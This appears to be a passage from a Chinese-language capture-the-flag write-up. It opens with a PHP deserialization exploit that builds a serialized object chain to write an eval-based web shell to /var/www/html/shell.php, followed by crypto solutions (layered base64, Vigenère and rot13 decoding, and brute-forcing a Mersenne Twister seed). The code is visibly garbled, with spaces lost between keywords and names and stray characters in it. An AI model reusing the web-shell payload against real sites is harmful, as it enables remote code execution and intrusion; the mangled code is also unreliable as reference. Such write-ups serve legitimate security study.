<?phperror_reporting(0); classFile_operations{protected $filename='/var/www/html/shell.php';} classShow_index{public $filepage;} classException_process{public $arg;} classTransfer{public $method;private $parameter = "<?php eval($_POST[a]);";} $poc = new Show_index();$poc->filepage = new Transfer();$poc->filepage->method = new Transfer();$poc->filepage->method->method = new File_operations();echo urlencode(serialize($poc));
Crypto
签到
1. 使用html解码,发现base64编码
img
2. 使用base64解码解出一个字符串和一个key
img
3. 使用维吉尼亚解码
img
4. 再使用rot13解码解出flag
第二轮签到题
*1.使用base64解密解出第一次解码*
img
接着还是用base64第二次解码
img
再使用base64第三次解码出flag
img
Crypto (MT)
from Crypto.Util.number import * flag = getPrime(32) definit(flag): s = [0] * 100 s[0] = flag for i in range(1, 100): s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] >> 30) + i) return s state = init(flag) defenc(y): y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18return y&0xffffffff c = enc(state[-1]) print(c) #1047573452
观察题⽬给出的脚本,可以看到经过了复杂的与和异或运算,涉及到与运算如果要还原只能爆破,但
是过程如此复杂,显然不可能让我们在短时间内去判断bit之间的关系。观察到flag仅仅是32位的素
数,因此可以爆破。正序和逆序同时爆破,最多20分钟可以得出结果
# -*-coding:utf-8-*- from Crypto.Util.number import * import gmpy2 import tqdm definit(flag): s = [0] * 100 s[0] = flag9 for i in range(1, 100): s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] >> 30) + i) return s defenc(y): y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18 return y & 0xffffffff range1=pow(2,31) range2=pow(2,32) #逆序 for i in tqdm.trange(range2,range1,-1): #正序 #for i in tqdm.trange(range1,range2): if gmpy2.is_prime(i): sstate = init(i) cc = enc(sstate[-1]) if cc == 1047573452: print(i) break